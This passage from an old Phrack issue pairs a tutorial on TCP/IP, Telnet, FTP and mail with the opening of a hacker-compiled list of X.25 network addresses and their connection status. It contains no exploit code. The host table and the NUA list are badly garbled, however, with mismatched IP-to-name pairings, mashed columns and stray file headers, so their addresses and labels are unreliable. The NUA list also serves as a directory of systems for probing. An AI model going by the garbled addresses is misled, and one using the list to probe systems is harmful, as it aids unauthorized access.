This chapter of the Future Transcendent Saga gives a general description of the protocols and software used in MIDnet and the NSFNet. A discussion of several of the more commonly used networking tools is also included to enable you to make practical use of the network as soon as possible.

# The DOD Protocol Suite

The DOD Protocol Suite includes many different protocols. Each protocol is a specification of how communication is to occur between computers. Computer hardware and software vendors use the protocol to create programs and sometimes specialized hardware in order to implement the network function intended by the protocol. Different implementations of the same protocol exist for the varied hardware and operating systems found in a network.

The three most commonly used network functions are:

Mail -- Sending and receiving messages File Transfer -- Sending and receiving files Remote Login -- Logging into a distant computer

Of these, mail is probably the most commonly used.

In the TCP/IP world, there are three different protocols that realize these functions:

SMTP -- (Simple Mail Transfer Protocol) Mail FTP -- (File Transfer Protocol) sending and receiving files Telnet -- Remote login

How to use these protocols is discussed in the next section. At first glance, it is not obvious why these three functions are the most common. After all, mail and file transfer seem to be the same thing. However, mail messages are not identical to files, since they are usually comprised of only ASCII characters and are sequential in structure. Files may contain binary data and have complicated, non-sequential structures. Also, mail messages can usually tolerate some errors in transmission whereas files should not contain any errors. Finally, file transfers usually occur in a secure setting (i.e. The users who are transferring files know each other's names and passwords and are permitted to transfer the file, whereas mail can be sent to anybody as long as their name is known).

While mail and transfer accomplish the transfer of raw information from one computer to another, Telnet allows a distant user to process that information, either by logging in to a remote computer or by linking to another terminal. Telnet is most often used to remotely log in to a distant computer, but it is actually a general-purpose communications protocol. I have found it incredibly useful over the last year. In some ways, it could be used for a great deal of access because you can directly connect to another computer anywhere that has TCP/IP capabilities, however please note that Telnet is \*NOT\* Telenet.

There are other functions that some networks provide, including the following:

- Name to address translation for networks, computers and people
- The current time
- Quote of the day or fortune
- Printing on a remote printer, or use of any other remote peripheral
- Submission of batch jobs for non-interactive execution
- Dialogues and conferencing between multiple users
- Remote procedure call (i.e. Distributing program execution over several remote computers)
- Transmission of voice or video information

Some of these functions are still in the experimental stages and require faster computer networks than currently exist. In the future, new functions will undoubtedly be invented and existing ones improved.

The DOD Protocol Suite is a layered network architecture, which means that network functions are performed by different programs that work independently and in harmony with each other. Not only are there different programs but there are different protocols. The protocols SMTP, FTP and Telnet are described above. Protocols have been defined for getting the current time, the quote of the day, and for translating names. These protocols are called applications protocols because users directly interact with the programs that implement these protocols.

The Transmission Control Protocol, TCP, is used by many of the application protocols. Users almost never interact with TCP directly. TCP establishes a reliable end-to-end connection between two processes on remote computers. Data is sent through a network in small chunks called packets to improve reliability and performance. TCP ensures that packets arrive in order and without errors. If a packet does have errors, TCP requests that the packet be retransmitted.

In turn, TCP calls upon IP, Internet Protocol, to move the data from one network to another. IP is still not the lowest layer of the architecture, since there is usually a "data link layer protocol" below it. This can be any of a number of different protocols, two very common ones being X.25 and Ethernet.

FTP, Telnet and SMTP are called "application protocols", since they are directly used by applications programs that enable users to make use of the network. Network applications are the actual programs that implement these protocols and provide an interface between the user and the computer. An implementation of a network protocol is a program or package of programs that provides the desired network function such as file transfer. Since computers differ from vendor to vendor (e.g. IBM, DEC, CDC), each computer must have its own implementation of these protocols. However, the protocols are standardized so that computers can interoperate over the network (i.e. Can understand and process each other's data). For example, a TCP packet generated by an IBM computer can be read and processed by a DEC computer.

In many instances, network applications programs use the name of the protocol. For example, the program that transfers files may be called "FTP" and the program that allows remote logins may be called "Telnet." Sometimes these protocols are incorporated into larger packages, as is common with SMTP. Many computers have mail programs that allow users on the same computer to send mail to each other. SMTP functions are often added to these mail programs so that users can also send and receive mail through a network. In such cases, there is no separate program called SMTP that the user can access, since the mail program provides the user interface to this network function.

Specific implementation of network protocols, such as FTP, are tailored to the computer hardware and operating system on which they are used. Therefore, the exact user interface varies from one implementation to another. For example, the FTP protocol specifies a set of FTP commands which each FTP implementation must understand and process. However, these are usually placed at a low level, often invisible to the user, who is given a higher set of commands to use.

These higher-level commands are not standardized so they may vary from one implementation of FTP to another. For some operating systems, not all of these commands make equal sense, such as "Change Directory," or may have different meanings. Therefore the specific user interface that the user sees will probably differ.

This file describes a generic implementation of the standard TCP/IP application protocols. Users must consult local documentation for specifics at their sites.

# Names and Addresses In A Network

In DOD Protocol Suite, each network is given a unique identifying number. This number is assigned by a central authority, namely the Network Information Center run by SRI, abbreviated as SRI-NIC, in order to prevent more than one network from having the same network number. For example, the ARPAnet has network number 10 while MIDnet has a longer number, namely 128.242.

Each host in a network has a unique identification so other hosts can specify them unambiguously. Host numbers are usually assigned by the organization that manages the network, rather than one central authority. Host numbers do not need to be unique throughout the whole Internet but two hosts on the same network need to have unique host numbers.

The combination of the network number and the host number is called the IP address of the host and is specified as a 32-bit binary number. All IP

addresses in the Internet are expressible as 32-bit numbers, although they are often written in dotted decimal notation. Dotted decimal notation breaks the 32-bit number into four eight-bit parts or octets and each octet is specified as a decimal number. For example, 00000001 is the binary octet that specifies the decimal number 1, while 11000000 specifies 192. Dotted decimal notation makes IP addresses much easier to read and remember.

Computers in the Internet are also identified by hostnames, which are strings of characters, such as "phrackvax." However, IP packets must specify the 32-bit IP address instead of the hostname so some way to translating hostnames to IP addresses must exist.

One way is to have a table of hostnames and their corresponding IP addresses, called a hosttable. Nearly every TCP/IP implementation has such a hosttable, although the weaknesses of this method are forcing a shift to a new scheme called the domain name system. In UNIX systems, the hosttable is often called "/etc/hosts." You can usually read this file and find out what the IP addresses of various hosts are. Other systems may call this file by a different name and make it unavailable for public viewing.

Users of computers are generally given accounts to which all charges for computer use are billed. Even if computer time is free at an installation, accounts are used to distinguish between the users and enforce file protections. The generic term "username" will be used in this file to refer to the name by which the computer account is accessed.

In the early days of the ARPAnet which was the first network to use the TCP/IP protocols, computer users were identified by their username, followed by a commercial "at" sign (@), followed by the hostname on which the account existed. Networks were not given names, per se, although the IP address specified a network number.

For example, "knight@phrackvax" referred to user "knight" on host "phrackvax." This did not specify which network "phrackvax" was on, although that information could be obtained by examining the hosttable and the IP address for "phrackvax." (However, "phrackvax" is a ficticious hostname used for this presentation.)

As time went on, every computer on the network had to have an entry in its hosttable for every other computer on the network. When several networks linked together to form the Internet, the problem of maintaining this central hosttable got out of hand. Therefore, the domain name scheme was introduced to split up the hosttable and make it smaller and easier to maintain.

In the new domain name scheme, users are still identified by their usernames, but hosts are now identified by their hostname and any and all domains of which they are a part. For example, the following address, "KNIGHT@UMCVMB.MISSOURI.EDU" specifies username "KNIGHT" on host "UMCVMB". However, host "UMCVMB" is a part of the domain "MISSOURI" " which is in turn part of the domain "EDU". There are other domains in "EDU", although only one is named "MISSOURI". In the domain "MISSOURI", there is only one host named "UMCVMB".

However, other domains in "EDU" could theoretically have hosts named "UMCVMB" (although I would say that this is rather unlikely in this example). Thus the combination of hostname and all its domains makes it unique. The method of translating such names into IP addresses is no longer as straightforward as looking up the hostname in a table. Several protocols and specialized network software called nameservers and resolvers implement the domain name scheme.

Not all TCP/IP implementations support domain names because it is rather new. In those cases, the local hosttable provides the only way to translate hostnames to IP addresses. The system manager of that computer will have to put an entry into the hosttable for every host that users may want to connect to. In some cases, users may consult the nameserver themselves to find out the IP address for a given hostname and then use that IP address directly instead of a hostname.

I have selected a few network hosts to demonstrate how a host system can be specified by both the hostname and host numerical address. Some of the nodes I

have selected are also nodes on BITnet, perhaps even some of the others that I do not make a note of due a lack of omniscent awareness about each and every single host system in the world :-)

Numerical Hostname Location ATHENA.MIT.EDU SRI-NIC.ARPA (Mass. Institute of Technology) ? 18.72.0.39 26.0.0.73 (DDN Network Information Center) 36.21.0.13 MACBETH.STANFORD.EDU (Stanford University) ?
36.21.0.60 PORTIA.STANFORD.EDU (Stanford University) ?
128.2.11.131 ANDREW.CMU.EDU (Carnegie Mellon University) ANDREW 128.3.254.13 LBL.GOV (Lawrence Berkeley Labrotories) LBL 128.6.4.7 RUTGERS.EDU (Rutgers University) ? 128.59.99.1 CUCARD.MED.COLUMBIA.EDU (Columbia University) ? 128.102.18.3 AMES.ARC.NASA.GOV (Ames Research Center [NASA]) - 128.103.1.1 HARVARD.EDU (Harvard University) HARVARD 128.103.1.1 HARVARD.EDU 128.111.24.40 HUB.UCSB.EDU (Harvard University) HARVARD (Univ. Of Calif-Santa Barbara) ? 128.115.14.1 LLL-WINKEN.LLNL.GOV (Lawrence Livermore Labratories)
128.143.2.7 UVAARPA.VIRGINIA.EDU (University of Virginia)
128.148.128.40 BROWNVM.BROWN.EDU (Brown University)
128.148.128.40 BROWNVM.BROWN.EDU BROWN BROWN.EDU (Brown University) BROWN UKCC UKCC.UKY.EDU (University of Kentucky) UKCC 128.183.10.4 NSSDCA.GSFC.NASA.GOV (Goddard Space Flight Center [NASA]) - 128.186.4.18 RAI.CC.FSU.EDU (Florida State University) FSU 128.206.1.1 UMCVMB.MISSOURI.EDU (Univ. of Missouri-Columbia) UMCVMB 128.208.1.15 MAX.ACS.WASHINGTON.EDU (University of Washington) MAX 128.228.1.2 CUNYVM.CUNY.EDU (City University of New York) CUNYVM 129.10.1.6 NUHUB.ACS.NORTHEASTERN.EDU (Northeastern University) NUHUB 131.151.1.4 UMRVMA.UMR.EDU (University of Missouri-Rolla) UMRVMA 192.9.9.1 SUN.COM (Sun Microsystems, Inc.) - 192.33.18.30 VM1 NODAK EDU 192.33.18.30 VM1.NODAK.EDU 192.33.18.50 PLAINS.NODAK.EDU (North Dakota State Univ.) NDSUVM1 (North Dakota State Univ.) NDSUVAX

Please Note: Not every system on BITnet has an IP address. Likewise, not every system that has an IP address is on BITnet. Also, while some locations like Stanford University may have nodes on BITnet and have hosts on the IP as well, this does not neccessarily imply that the systems on BITnet and on IP (the EDU domain in this case) are the same systems.

> Attempts to gain unauthorized access to systems on the Internet are not tolerated and is legally a federal offense. At some hosts, they take this very seriously, especially the government hosts such as NASA's Goddard Space Flight Center, where they do not mind telling you so at the main prompt when you connect to their system.

However, some nodes are public access to an extent. The DDN Network Information Center can be used by anyone. The server and database there have proven to be an invaluable source of information when locating people, systems, and other information that is related to the Internet.

### Telnet

Remote login refers to logging in to a remote computer from a terminal connected to a local computer. Telnet is the standard protocol in the DOD Protocol Suite for accomplishing this. The "rlogin" program, provided with Berkeley UNIX systems and some other systems, also enables remote login.

For purposes of discussion, the "local computer" is the computer to which your terminal is directly connected while the "remote computer" is the computer on the network to which you are communicating and to which your terminal is \*NOT\* directly connected.

Since some computers use a different method of attaching terminals to computers, a better definition would be the following: The "local computer" is the computer that you are currently using and the "remote computer" is the computer on the network with which you are or will be communicating. Note that the terms "host" and "computer" are synonymous in the following discussion.

To use Telnet, simply enter the command: TELNET

The prompt that Telnet gives is: Telnet>

(However, you can specify where you want to Telnet to immediately and bypass the the prompts and other delays by issuing the command: TELNET [location].)

There is help available by typing in ?. This prints a list of all the valid subcommands that Telnet provides with a one-line explanation.

### Telnet> ?

To connect to to another computer, use the open subcommand to open a connection to that computer. For example, to connect to the host "UMCVMB.MISSOURI.EDU", do "open umcvmb.missouri.edu"

Telnet will resolve (i.e. Translate, the hostname "umcvmb.missouri.edu" into an IP address and will send a packet to that host requesting login. If the remote host decides to let you attempt a login, it prompts you for your username and password. If the host does not respond, Telnet will "time out" (i.e. Wait for a reasonable amount of time such as 20 seconds) and then terminate with a message such as "Host not responding."

If your computer does not have an entry for a remote host in its hosttable and it cannot resolve the name, you can use the IP address explicitly in the telnet command. For example,

TELNET 26.0.0.73 (Note: This is the IP address for the DDN Network Information Center [SRI-NIC.ARPA])

If you are successful in logging in, your terminal is connected to the remote host. For all intents and purposes, your terminal is directly hard-wired to that host and you should be able to do anything on your remote terminal that you can do at any local terminal. There are a few exceptions to this rule, however.

Telnet provides a network escape character, such as CONTROL-T. You can find out what the escape character is by entering the "status" subcommand:

Telnet> status

You can change the escape character by entering the "escape" subcommand:

Telnet> escape

When you type in the escape character, the Telnet prompt returns to your screen and you can enter subcommands. For example, to break the connection, which usually logs you off the remote host, enter the subcommand "quit":

Telnet> quit

Your Telnet connection usually breaks when you log off the remote host, so the "quit" subcommand is not usually used to log off.

When you are logged in to a remote computer via Telnet, remember that there is a time delay between your local computer and the remote one. This often becomes apparent to users when scrolling a long file across the terminal screen nd they wish to cancel the scrolling by typing CONTROL-C or something similar. After typing the special control character, the scrolling continues. The special control character takes a certain amount of time to reach the remote computer which is still scrolling information. Thus response from the remote computer will not likely be as quick as response from a local computer.

Once you are remotely logged on, the computer you are logged on to effectively becomes your "local computer," even though your original "local computer" still considers you logged on. You can log on to a third computer which would then become your "local computer" and so on. As you log out of each session, your previous session becomes active again.

## File Transfer

FTP is the program that allows files to be sent from one computer to another. "FTP" stands for "File Transfer Protocol".

When you start using FTP, a communications channel with another computer on the network is opened. For example, to start using FTP and initiate a file transfer session with a computer on the network called "UMCVMB", you would issue the following subcommand:

FTP UMCVMB.MISSOURI.EDU

Host "UMCVMB" will prompt you for an account name and password. If your login is correct, FTP will tell you so, otherwise it will say "login incorrect." Try again or abort the FTP program. (This is usually done by typing a special control character such as CONTROL-C. The "program abort" character varies from system to system.)

Next you will see the FTP prompt, which is:

Ftp>

There are a number of subcommands of FTP. The subcommand "?" will list these commands and a brief description of each one.

You can initiate a file transfer in either direction with FTP, either from the remote host or to the remote host. The "get" subcommand initiates a file transfer from the remote host (i.e. Tells the remote computer to send the file to the local computer [the one on which you issued the "ftp" command]). Simply enter "get" and FTP will prompt you for the remote host's file name and the (new) local host's file name. Example:

Ftp> get
Remote file name?
theirfile
local file name?
myfile

ou can abbreviate this by typing both file names on the same line as the "get" subcommand. If you do not specify a local file name, the new local file will be called the same thing as the remote file. Valid FTP subcommands to get a file include the following:

get theirfile myfile
get doc.x25

The "put" subcommand works in a similar fashion and is used to send a file from the local computer to the remote computer. Enter the command "put" and FTP will prompt you for the local file name and then the remote file name. If the transfer cannot be done because the file doesn't exist or for some other reason, FTP will print an error message.

There are a number of other subcommands in FTP that allow you to do many more things. Not all of these are standard so consult your local documentation or type a question mark at the FTP prompt. Some functions often built into FTP include the ability to look at files before getting or putting them, the ability to change directories, the ability to delete files on the remote computer, and the ability to list the directory on the remote host.

An intriguing capability of many FTP implementations is "third party transfers." For example, if you are logged on computer A and you want to cause computer B to send a file to computer C, you can use FTP to connect to computer B and use the "rmtsend" command. Of course, you have to know usernames and passwords on all three computers, since FTP never allows you to peek into someone's directory and files unless you know their username and password.

The "cd" subcommand changes your working directory on the remote host. The

"lcd" subcommand changes the directory on the local host. For UNIX systems, the meaning of these subcommands is obvious. Other systems, especially those that do not have directory-structured file system, may not implement these commands or may implement them in a different manner.

The "dir" and "ls" subcommands do the same thing, namely list the files in the working directory of of the remote host.

The "list" subcommand shows the contents of a file without actually putting it into a file on the local computer. This would be helpful if you just wanted to inspect a file. You could interrupt it before it reached the end of the file by typing CONTROL-C or some other special character. This is dependent on your FTP implementation.

The "delete" command can delete files on the remote host. You can also make and remove directories on the remote host with "mkdir" and "rmdir". The "status" subcommand will tell you if you are connected and with whom and what the state of all your options are.

If you are transferring binary files or files with any non-printable characters, turn binary mode on by entering the "binary" subcommand:

### binary

3.txt

To resume non-binary transfers, enter the "ascii" subcommand.

Transferring a number of files can be done easily by using "mput" (multiple put) and "mget" (multiple get). For example, to get every file in a particular directory, first issue a "cd" command to change to that directory and then an "mget" command with an asterisk to indicate every file:

cd somedirectory
mget \*

When you are done, use the "close" subcommand to break the communications link. You will still be in FTP, so you must use the "bye" subcommand to exit FTP and return to the command level. The "quit" subcommand will close the connection and exit from FTP at the same time.

## Mail

~ ~ ~ ~

Mail is the simplest network facility to use in many ways. All you have to do is to create your message, which can be done with a file editor or on the spur of the moment, and then send it. Unlike FTP and Telnet, you do not need to know the password of the username on the remote computer. This is so because you cannot change or access the files of the remote user nor can you use their account to run programs. All you can do is to send a message.

There is probably a program on your local computer which does mail between users on that computer. Such a program is called a mailer. This may or may not be the way to send or receive mail from other computers on the network, although integrated mailers are more and more common. UNIX mailers will be used as an example in this discussion.

Note that the protocol which is used to send and receive mail over a TCP/IP network is called SMTP, the "Simple Mail Transfer Protocol." Typically, you will not use any program called SMTP, but rather your local mail program.

UNIX mailers are usually used by invoking a program named "mail". To receive new mail, simply type "mail".

There are several varieties of UNIX mailers in existence. Consult your local documentation for details. For example, the command "man mail" prints out the manual pages for the mail program on your computer.

To send mail, you usually specify the address of the recipient on the mail command. For example: "mail knight@umcvmb.missouri.edu" will send the following message to username "knight" on host "umcvmb".

You can usually type in your message one line at a time, pressing RETURN after each line and typing CONTROL-D to end the message. Other facilities to include already-existing files sometimes exist. For example, Berkeley UNIXes allow you to enter commands similar to the following to include a file in your current mail message:

r myfile

In this example, the contents of "myfile" are inserted into the message at this point.

Most UNIX systems allow you to send a file through the mail by using input redirection. For example:

mail knight@umcvmb.missouri.edu < myfile</pre>

In this example, the contents of "myfile" are sent as a message to "knight" on "umcvmb."

Note that in many UNIX systems the only distinction between mail bound for another user on the same computer and another user on a remote computer is simply the address specified. That is, there is no hostname for local recipients. Otherwise, mail functions in exactly the same way. This is common for integrated mail packages. The system knows whether to send the mail locally or through the network based on the address and the user is shielded from any other details.

"The Quest For Knowledge Is Without End..."

==Phrack Inc.==

Volume Three, Issue 27, File 4 of 12

```
::: NUA-List For Datex-P And X.25 Networks ::: by Oberdaemon ::: April 9, 1989 :::
```

```
Key:
     = successfully connected
 Α
     = sources say that it works
     = officially closed
     = disconnected/no circuit or permanently busy
     = illegal address or invalid call
 Ι
     = out of order
 0
     = R-NUA
 r
     = time-out
 Т
     = sources say that it should work but it doesn't (or is permanently
 Χ
 Υ
     = barred (=?)
     = sources say that it should not work
     = including the following digits gives you another number
 n/a = not yet tested
     = error on a subsequent communication system
Remark: I have also included some obviously misstyped NUAs which have been
        found in widely circulating lists. There are also numbers which do
        not form a valid NUA but a common prefix (e.g. 0202 2 Helpak).
Format: Each NUA in this list consists of the following fields:
        cccc naa aaa aaa... oooo...
                                         ddd....
            is the country prefix (e.g. 0262 Germany). This prefix can be
 CCCC
            omitted when calling and called party have both the same prefix.
            are the first three digits of the address. n often specifies a
            certain network in that country.
 aaa aaa... are the other digits of the address.
            are some extra digits/letters which should be added after the
            NUA. The correct syntax depends on your PAD. This list uses any
            syntax - usually depending on the notation the author of the
            source used. The oooo... field is usually empty.
           is a short description of the service.
 ddd...
If you find two NUAs who differ only in the number of trailing zeroes, but
connect to the same service, you may safely throw away the longer one.
 !! Please note that most PADs don't accept spaces inside a NUA !!
```

|    | 0200 |     |      |         | GR | Greece                      |
|----|------|-----|------|---------|----|-----------------------------|
| 37 | 0202 | _   | 0.41 | 0.410.4 |    | Helpak (enkelriktad trafik) |
| Х  | 0202 | 452 | 241  | 24104   |    |                             |
|    | 0204 |     |      |         | NL | Netherlands                 |
|    | 0204 | 0   |      |         |    | Datanet (1?)                |
|    | 0204 | 1   |      |         |    | Datanet (1?)                |
| Α  | 0204 | 129 | 001  | 3       |    | ? (Netz ?)                  |
| Α  | 0204 | 129 | 001  | 4       |    | X.25                        |
| Α  | 0204 | 129 | 003  | 1       |    | NONOBY                      |

| A 0204 129 004 34   SARA   Searchilme   D 0204 129 004 34   NIKHEF   SARA network   NIKHEF   SARA ne   | 4.txt Tue Oct 05        | 05:46:35 2 | 021 2                                      |
|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------|------------|--------------------------------------------|
| NIKHEF  SARA network                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |                         |            |                                            |
| D 0204 129 004 34                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | D 0204 129 004 33       | SARA       |                                            |
| D 0204 129 005 6                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | D 0204 129 004 34       | NIKHEF     | National Institute for High Energy Physics |
| A 0204 129 905 675                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | D 0204 129 005 6        | MCVAX      | ·                                          |
| A 0204   34   014   80500                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |                         |            |                                            |
| 0204 303 0                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |                         |            |                                            |
| 0204 304 0 0206 0206 03                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |                         |            |                                            |
| 0204 4                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |                         |            |                                            |
| DCS                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 0204 4                  |            |                                            |
| A 0206 210 300 003 A 0206 222 100 1 2 7 Ministry of economic affairs  A 0206 222 101 2 7 Ministry of economic affairs  Celex A 0206 224 001 903 PRLB2 Belgium Unix Backbone  DoxiiiF France  0208 0 France  0208 0 TRANSPAC French Transpac  A 0208 006 040 010 Telesystemes 1 A 0208 026 020 843 7 A 0208 034 020 036 CNUSC CNUSC (France)  A 0208 034 020 258 CNUSC CNUSC (MUSC Montpeller  COUSC MOST ONLY STANSPAC TILL VEGA VAX 8700 VMS 4.7 I 0208 034 020 100 CICG Grenoble  A 0208 036 020 100 CICG STANSPAC TILL VEGA VAX 8700 VMS 4.7 I 0208 044 001 645 7 I 0208 075 000 887 IRCAM IRCAM IRCAM-ERIK VAX 11/780 4.2 BSD I 0208 075 001 281*D CCFN I 0208 075 002 314 GRAM IRCAM-ERIK VAX 11/780 4.2 BSD I 0208 075 001 281*D CCFN I 0208 075 002 314 GRF I 0208 075 002 314 GRF I 0208 075 020 655 LITP LITT Unix 4.3 BSD (France)  A 0208 078 020 118 INNIA INNIAU INRIAU INR |                         | В          |                                            |
| A 0206 222 101 2 9                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |                         |            |                                            |
| A 0206 222 101 903 PRLB2 Belgium Unix Backbone 0208 F                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | A 0206 222 100 6        | BBDA       |                                            |
| A 0206 224 001 903 PRIB2 Belgium Unix Backbone 0208 0 FRANSPAC Euronet 0208 0 FRANSPAC French Transpac A 0208 006 040 010 TRANSPAC French Transpac A 0208 026 020 843 French Transpac A 0208 030 020 036 CNUSC CNUSC (France) A 0208 034 020 036 CNUSC CNUSC (France) A 0208 038 020 076 TILL VEGA VAX 8700 VMS 4.7 I 0208 038 020 076 TILL VEGA VAX 8700 VMS 4.7 I 0208 044 001 645 PRIBADE TRANSPAC TO COMPACT TO COM |                         | ?          |                                            |
| A 0206 228 821 0                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |                         | PRLB2      |                                            |
| O208   F                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |                         | 11.22      |                                            |
| A 0208                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |                         |            |                                            |
| A 0208 006 040 010 A 0208 006 040 201 A 0208 026 020 843 A 0208 034 020 036 A 0208 034 020 036 A 0208 034 020 258 CNUSC CNUSC (France) CNUSC Montpelier CICG Grenoble A 0208 038 020 100 A 0208 0376 000 545 A 0208 057 000 545 A 0208 075 000 087 A 0208 075 000 087 A 0208 075 000 087 A 0208 075 001 281*D CCPN A 0208 075 002 314 A 0208 075 002 314 B 0208 075 002 314 B 0208 075 020 181 B INRIA B 0208 078 020 118 B INRIA B 0208 078 020 118 B INRIA B 0208 078 020 16901 B INRIA B 0208 091 000 270*DCISICISI3 B 0208 091 000 519*DCISICISI3 B 0208 091 000 309*DCISICISI3 B 0208 091 000 519*DCISICISI3 B 0208 091 |                         |            |                                            |
| A 0208 006 040 201                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |                         | TIGHIST AC |                                            |
| A 0208 034 020 036                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |                         |            | Telesystemes 2                             |
| A 0208 034 020 258 CNUSC CNUSC Montpelier A 0208 038 020 100 CICG Grenoble A 0208 038 020 676 ILL VEGA VAX 8700 VMS 4.7 I 0208 044 001 645                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |                         | CMIICC     |                                            |
| A 0208 038 020 100                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |                         |            |                                            |
| I 0208 044 001 645                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | A 0208 038 020 100      |            | CICG Grenoble                              |
| A 0208 057 040 540                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |                         |            |                                            |
| I 0208 069 021 258 A 0208 075 000 087                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |                         |            |                                            |
| 1 0208 075 000 355                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |                         |            |                                            |
